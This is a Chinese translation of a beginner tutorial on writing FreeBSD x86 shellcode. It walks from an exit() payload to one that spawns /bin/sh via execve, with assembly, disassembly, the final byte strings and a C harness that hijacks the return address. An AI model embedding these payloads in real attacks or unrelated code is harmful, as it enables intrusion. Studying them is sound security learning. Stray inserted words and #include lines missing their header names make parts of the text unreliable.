來源 https://www.4hou.com/binary/14375.htmlhtml
介紹linux
本教程的目的是幫助你熟悉如何在FreeBSD操做系統上編寫shellcode。雖然我會盡力在這裏敘述全部有關的內容,但並不打算把本文寫成彙編代碼編程的入門讀物。在反彙編中,你會注意到彙編代碼採用AT&T語法,而我更喜歡使用Intel語法(不管是哪種,nasm的工做原理是同樣的)。若是你擔憂這些差別會帶來困擾,請使用谷歌搜索並瞭解這些差別。請注意我只是一個編寫shellcod的初學者,本文並不意味着是編寫shellcode的所有內容;相反,本文對於全新的shellcoders來講是一個簡單的介紹。換句話說,若是你以及編寫過shellcode,本文的內容可能不會讓你感興趣。shell
其中的代碼改編自The Shellcoders Handbook中的linux代碼示例。編程
我引用的資源:數組
· Unix系統編程http://vip.cs.utsa.edu/usp/
sass
· Shellcod編寫參考手冊http://www.wiley.com/WileyCDA/WileyAncillary/productCd-0764544683,typeCd-NOTE.html
bash
· G. Adam Stanislav的FreeBSD彙編語言程序設計http://www.int80h.org/bsdasm/
編程語言
所需工具:ide
· objdump
函數
· NASM(Netwide Assembler)
· GCC
· GDB
在正式開始以前,讓咱們節省一些時間來獲取/usr/src/sys/kern/syscalls.master的副本,這是系統調用及其相關編號的列表。將副本保存在編碼目錄中能夠節省後續的時間,你須要在以root身份登陸時打開文件並進行更改,不然可能會發生錯誤。讓咱們謹慎一點,複製一份副本。
既然咱們已經完成了這一步,接下來咱們繼續深刻,隨着內容的深刻,我會逐步解釋更多的事情。咱們要作的第一個shellcode是很是簡單的,它用於exit()函數調用。咱們首先在C代碼中建立exit(),而後咱們分析反彙編,以便咱們能夠將其重寫爲asm。先編譯這個文件:
gcc -o myexit myexit.c /* As easy as it gets */ #include main() { exit(0); // exit with "0" for successful exit }
如今咱們已經編譯了代碼,咱們但願使用gdb來查看函數內部。以後咱們可以看到計算機自動生成了咱們的代碼對應的彙編代碼。只需按照說明的步驟操做,就能獲得下面的結果:
bash$ gdb myexit (gdb) disas main Dump of assembler code for function main: 0x80481d8 : push %ebp 0x80481d9 : mov %esp,%ebp 0x80481db : sub $0x8,%esp 0x80481de : add $0xfffffff4,%esp 0x80481e1 : push $0x0 0x80481e3 : call 0x80498dc 0x80481e8 : add $0x10,%esp 0x80481eb : nop 0x80481ec : leave 0x80481ed : ret End of assembler dump.
讓咱們一行一行的來分析一下。不要擔憂任何事情,也不要擔憂內存地址,由於個人地址極可能和你的不同。如今繼續看看彙編代碼,這是本文內容的第一個重要部分。傳遞給exit()函數的參數只有一個。接下來是退出了實際的調用。這是咱們須要搞清楚的兩件主要的事情。在咱們進入代碼以前,讓咱們檢查syscalls.master來獲取sysexit()的值,grep這個文件後,咱們找到了這行:1 STD NOHIDE {void sys exit(int rval);exit sysexitargs void 。重要的信息是1,它是系統調用號的值和rval(返回值)參數。這代表sys_exit()接受一個參數,咱們應該知道返回值是’0’表明這是一個成功的退出。
好的,將它放入彙編代碼中。
section .text global _start _start: xor eax, eax push eax push eax mov eax, 1 int 80h
經過上面的代碼,在咱們進一步深刻解釋爲何代碼會以這種方式有序的完成調用執行前,我會作個簡短的說明。在FreeBSD(或NetBSD,OpenBSD)中,系統調用的參數是以相反的順序被壓入堆棧的,實際的系統調用號放入eax寄存器而後中斷80 會調用內核來執行咱們的代碼。
如今繼續, 'xor eax,eax’代碼,若是eax有任何值的話,就會將eax清零。而後咱們'push eax’兩次。(我不知道是什麼技術緣由致使的,但若是零被push堆棧一次,退出調用將返回1,咱們不但願這樣的返回值,只需將零push兩次就行。)如今咱們加載eax 調用exit的系統調用值爲1.最後咱們要作的是用'int 80h’來實際調用內核。
不錯!如今咱們已經編寫了了一些東西了,咱們能夠從中得到shellcode!咱們須要組裝而後連接這個文件。
bash$ nasm -f elf myexit.asm bash$ ld -s -o myexit myexit.o
如今它已經組裝和連接好了,讓咱們使用objdump來獲取shellcode。
bash$ objdump -d myexit shortexit: file format elf32-i386 /usr/libexec/elf/objdump: shortexit: no symbols Disassembly of section .text: 08048080 <.text>: 8048080: 31 c0 xor %eax,%eax 8048082: 50 push %eax 8048083: 50 push %eax 8048084: b8 01 00 00 00 mov $0x1,%eax 8048089: cd 80 int $0x80
這段代碼對某些人來講可能已經很好了,但它對咱們來講很糟糕。看看代碼中的那些NULL(00),咱們不能直接使用這段代碼,由於當咱們嘗試在咱們以前編寫的C程序中執行代碼時就會發生中斷。在C語言和其餘編程語言中,NULL會終止一個字符串。這意味着若是咱們嘗試將其加載到C語言數組中,程序就會崩潰。因此咱們不能那樣作。也許有其餘的方法能夠處理這段asm代碼,我想出的辦法以下:
Section .text global _start _start: xor eax, eax push eax push eax inc eax int 80h
這裏惟一不一樣的是'inc eax’,讓eax 增長1(記住eax是從零開始的,咱們須要返回1(退出系統調用的返回值)),因此在這種狀況下它與’mov eax,1'是等價的。
再次,如上一個示例所示組裝並連接它,而後使用objdump。
bash$ objdump -d myexit /usr/libexec/elf/objdump: exit_shellcode: no symbols Disassembly of section .text: 08048080 <.text>: 8048080: 31 c0 xor %eax,%eax 8048082: 50 push %eax 8048083: 50 push %eax 8048084: 40 inc %eax 8048085: cd 80 int $0x80
如今看一下!沒有NULL了,這段代碼就是很好的shellcode,咱們保存一下!那麼如今咱們有了正確的,沒有NULL值的shellcode,如今是時候將它加載到C程序中來執行了。
#include #include /*working shellcode */ char shellcode[] = "\x31\xc0\x50\x50\x40\xcd\x80"; int main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; }
就是這樣,這段代碼看起來真的很漂亮哦!如今進行編譯:
bash$ gcc -o shellcode shellcode.c bash$ ./shellcode ; echo $? 0
因爲程序退出時咱們確實看不到內部的細節,因此咱們使用 ‘echo $?'來輸出結果。'$?' 是一個bash內置的變量,它保存程序的最後一個退出代碼。因爲咱們在代碼中給出了退出的返回值就是’0’,所以,咱們的代碼起做用了!幹得不錯,你的耐心和工做終於獲得了回報。不過這只是一個開始,你可能不會使用這個代碼。
好吧,你可能已經猜到了,退出的shellcode不是頗有趣或有用,但它是一個很好的例子,可以很容易的體現編寫shellcode的關鍵點。如今是時候開始介紹一個更經常使用到的函數的shellcode了,這個函數就是利用execve()來生成一個shell。可是咱們還能用execve()作些什麼呢?在咱們繼續開始編寫以前,咱們應該再次查詢一下syscalls.master,以便咱們能夠確切知道execve()指望傳入的參數。由於execve不在文件的最開頭,因此我是這樣找到函數定義原型的。
bash$ grep -i 'execve' syscalls.master 59 STD POSIX { int execve(char *fname, char **argv, char **envv); }
#include int main() { char *name[2]; name[0] = "/bin/sh"; name[1] = 0x0; execve(name[0], name, 0x0); }
如今編譯,以下面所示,而後啓動gdb:
bash$ gdb shell (gdb) disas main Dump of assembler code for function main: 0x80484a0 : push %ebp 0x80484a1 : mov %esp,%ebp 0x80484a3 : sub $0x18,%esp 0x80484a6 : movl $0x8048503,0xfffffff8(%ebp) 0x80484ad : movl $0x0,0xfffffffc(%ebp) 0x80484b4 : add $0xfffffffc,%esp 0x80484b7 : push $0x0 0x80484b9 : lea 0xfffffff8(%ebp),%eax 0x80484bc : push %eax 0x80484bd : mov 0xfffffff8(%ebp),%eax 0x80484c0 : push %eax 0x80484c1 : call 0x8048350 0x80484c6 : add $0x10,%esp 0x80484c9 : leave 0x80484ca : ret 0x80484cb : nop End of assembler dump.
哇,代碼有點多!
因爲這個代碼更長一些,因此我將跳過代碼自己,由於當你看到代碼而後再解釋應該會更清楚。這也是我將代碼解釋放在代碼的註釋中的緣由。
;不用擔憂爲何這裏會出現這些代碼,由於這些是必需的,只能放在這裏 section .text global _start _start: ;這行代碼是爲了能夠在堆上獲取到 db ‘/bin/sh' 的地址 jmp short _callshell _shellcode: ;這行代碼能夠將 db ‘/bin/sh' 的地址彈到esi寄存器中 pop esi ;確認eax寄存器中沒有值 xor eax, eax ;如今eax的值是NULL,咱們能夠將一根字節放在'/bin/sh'字符串來做爲終止字符 mov byte [esi + 7], al ;在FreeBSD彙編中,咱們將全部的參數以相反的順序放在堆上。將空值的 eax 寄存器push兩次由於咱們不能使用帶參數的execve()。可是這是execve()所須要的 push eax push eax ;execve()須要的最後一個參數(注意這其實是第一個參數,由於這裏的傳入順序是相反的) push esi ;這裏是實際調用execve()的系統調用值,咱們將它移動到al中。若是咱們將這個值傳入eax寄存器,那麼咱們的shellcode會返回一個NULL值,這個作法不是很好。 mov al, 0x3b ;不要問我這裏爲何是這樣的。由於shellcode須要。 push eax ;內核調用和執行以前咱們所作的準備工做。注意這裏是一個80h中斷 int 0x80 _callshell: ;這行代碼返回到了咱們的代碼的main函數入口。 call _shellcode ;咱們實際上想要執行的命令字符串將會傳入execve()函數 db '/bin/sh'
如今咱們組裝該文件:
bash$ nasm -f elf mynewshell.asm bash$ ld -o mynewshell mynewshell.o
而後咱們啓動objdump:
bash$ objdump -d mynewshell mynewshell: file format elf32-i386 Disassembly of section .text: 08048080 <_start>: 8048080: eb 0e jmp 8048090 <_callshell> 08048082 <_shellcode>: 8048082: 5e pop %esi 8048083: 31 c0 xor %eax,%eax 8048085: 88 46 07 mov %al,0x7(%esi) 8048088: 50 push %eax 8048089: 50 push %eax 804808a: 56 push %esi 804808b: b0 3b mov $0x3b,%al 804808d: 50 push %eax 804808e: cd 80 int $0x80 08048090 <_callshell>: 8048090: e8 ed ff ff ff call 8048082 <_shellcode> 8048095: 2f das 8048096: 62 69 6e bound %ebp,0x6e(%ecx) 8048099: 2f das 804809a: 73 68 jae 8048104 <_callshell+0x74>
看看全部那些很「美麗」的shellcode。如今是時候將它格式化爲一個有用的格式並放入C程序代碼,以便咱們能夠執行shellcode。
#include #include /*working shellcode */ char shellcode[] = "\xeb\x0e\x5e\x31\xc0\x88\x46\x07\x50\x50\x56\xb0\x3b" "\x50\xcd\x80\xe8\xed\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; int main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; }
編譯並執行:
bash$ gcc -o shell shell.c bash$ ./shell $
shellcode有效!咱們製做了一個生成shell的shellcode。這須要一段時間才能實現,雖然這確定不是你能夠用shellcode的作不少事情的結束,至少它讓你有信心閱讀其餘更全面的教程,並開始編寫本身的shellcode。
本文翻譯自:https://cryogenix.net/shellcoding_on_freebsd.html
================ End